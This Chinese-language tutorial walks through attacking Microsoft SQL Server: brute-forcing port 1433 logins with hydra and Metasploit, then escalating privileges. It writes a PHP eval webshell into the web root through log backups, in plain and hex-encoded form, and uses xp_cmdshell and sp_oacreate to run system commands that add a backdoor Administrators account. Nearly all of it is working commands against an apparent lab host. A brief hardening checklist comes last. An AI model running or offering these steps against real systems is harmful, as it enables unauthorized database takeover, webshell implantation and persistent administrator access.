目录
1.1433端口
- 1433端口是SQL Server默认的端口,SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。
- 首先确认SQL server 1433端口启用
2.hydra——mssql
-
创建弱口令爆破密码文件与用户名文件
-
hydra 192.168.8.103 mssql -L /root/yhuser.txt -P /root/yhpasswd.txt -vV
3.Msf——mssql
msfconsole
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.8.103
set port 1443
set USER_FILE /root/yhuser.txt
set PASS_FILE /root/yhpasswd.txt
run
4.SQL server提权过程
数据库提权的前提条件:
1、服务器开启数据库服务
2、获取到最高权限用户密码
(1)使用xp_cmdshell进行提权
假设条件:
1、已得到 sql server 的sa权限
2、sql server开启外联
数据库日志备份上传木马
利用日志的备份前提条件
(1)磁盘中有备份文件
(2)恢复模式为完整的恢复模式
(3)知道网站的路径 phpinfo.php 看到document root这个变量,看到网站的路径
备份步骤
(1)完成前提条件
(2)建立库建立表
(3)备份一下日志
(4)表中插入一句话木马
(5)在备份一下日志,这个日志备份到网站路径下
(6)webshell管理工具,去链接一句话木马获得webshell权限
-
create database yh
-
use yh
-
alter database yh set recovery ful
l --修改数据库恢复模式为 完整模式 -
create table yy(a varchar(50))
--创建一张表yy,只有一个列a,类型为varchar -
backup database yh to disk='c:\temp\yyy.bak'
--备份表到指定路径 -
backup log yh to disk='c:\temp\yh1.php' with init
--把操作日志备份到指定文件 -
insert into yy(a) values('<?php @eval($_POST["yh"]); ?>');
--插入一句话木马到yy表里 -
select * from yy
-
backup log yh to disk='C:\WWW\yh2.php';
-
select * from yy
-
打开yh2.php我们可以看到一句话注入木马上传成功
-
利用菜刀远程连接
-
create table yy1(y image)
--创建一张表yy1,只有一个列y,类型为image -
backup log yh to disk='c:\temp\imagey.php' with init
--备份表到指定路径 -
insert into yy1 values(0x273c3f70687020406576616c28245f504f53545b227968225d293b203f3e27);
--插入一句话到yy1表里 -
select * from yy1
-
backup log yh to disk='C:\WWW\imageay1.php';
–把操作日志备份到指定文件 -
将
'<?php @eval($_POST["yh"]); ?>'
转化为16进制开头加0x
-
利用菜刀远程连接
(2)xp_cmdshell 提权
-
利用xp_cmdshell 建立文件
-
use master
使用系统数据库 -
RECONFIGURE;
刷新权限 -
exec sp_configure 'show advanced options',1;
打开系统高级设置 -
RECONFIGURE;
再次刷新权限 -
exec sp_configure 'xp_cmdshell',1;
打开以操作系统命令行解释器的方式执行给定的命令字符串 -
RECONFIGURE;
再次刷新权限 -
exec xp_cmdshell 'mkdir c:\myfile',no_output;
在c盘下创建文件
-
利用xp_cmdshell建立远程连接
-
首先打开sql server 远程登录,修改后重启服务
SQL Server (MSSQLSERVER)
-
exec xp_cmdshell 'whoami'
查看当前使用用户 -
exec xp_cmdshell 'net user'
查看电脑上的用户组 -
exec xp_cmdshell 'net user yh 123456 /add';
创建hacker用户 -
exec xp_cmdshell 'net localgroup Administrators yh /add';
将其加入到管理员组中
-
打开
exec sp_configure 'show advanced options',1;
-
recongigure
-
关闭
exec sp_configure 'xp_cmdshell',0
; -
recongigure
-
关闭
exec sp_configure 'show advanced options',0;
-
recongigure
-
要求靶机实际:需要满足以下条件 (很少能满足)
1、xp_configure设置 两个 show advanced options,xp_cmdshell 设置为1
2、执行net user add 设置服务的本地用户
(3)sp_oacreate提权
-
declare @shell int
声明变量shell -
exec sp_oacreate 'wscript.shell',@shell output
-
exec sp_oamethod @shell,'run',null,'whoami'
-
declare @shelly int
声明变量shelly -
exec sp_oacreate 'wscript.shell',@shelly output
-
exec sp_oamethod @shelly,'run',null,'net user zyh 123456 /ADD'
– 建立新用户成功 -
exec sp_oamethod @shelly,'run',null,'net localgroup Administrators zyh /add';
将其加入Administrators组 -
exec sp_oamethod @shelly,'run',null,'c:\windows\system32\cmd.exe /c mkdir c:\temp\yh '
– 建立一个新文件夹 -
结果为0,默认执行。
mssql基线检查小结
- 账户,用户名,密码
- 权限管理 sysadmin sa 遵循最小化原则
- 默认端口
- 危险的存储过程 要关闭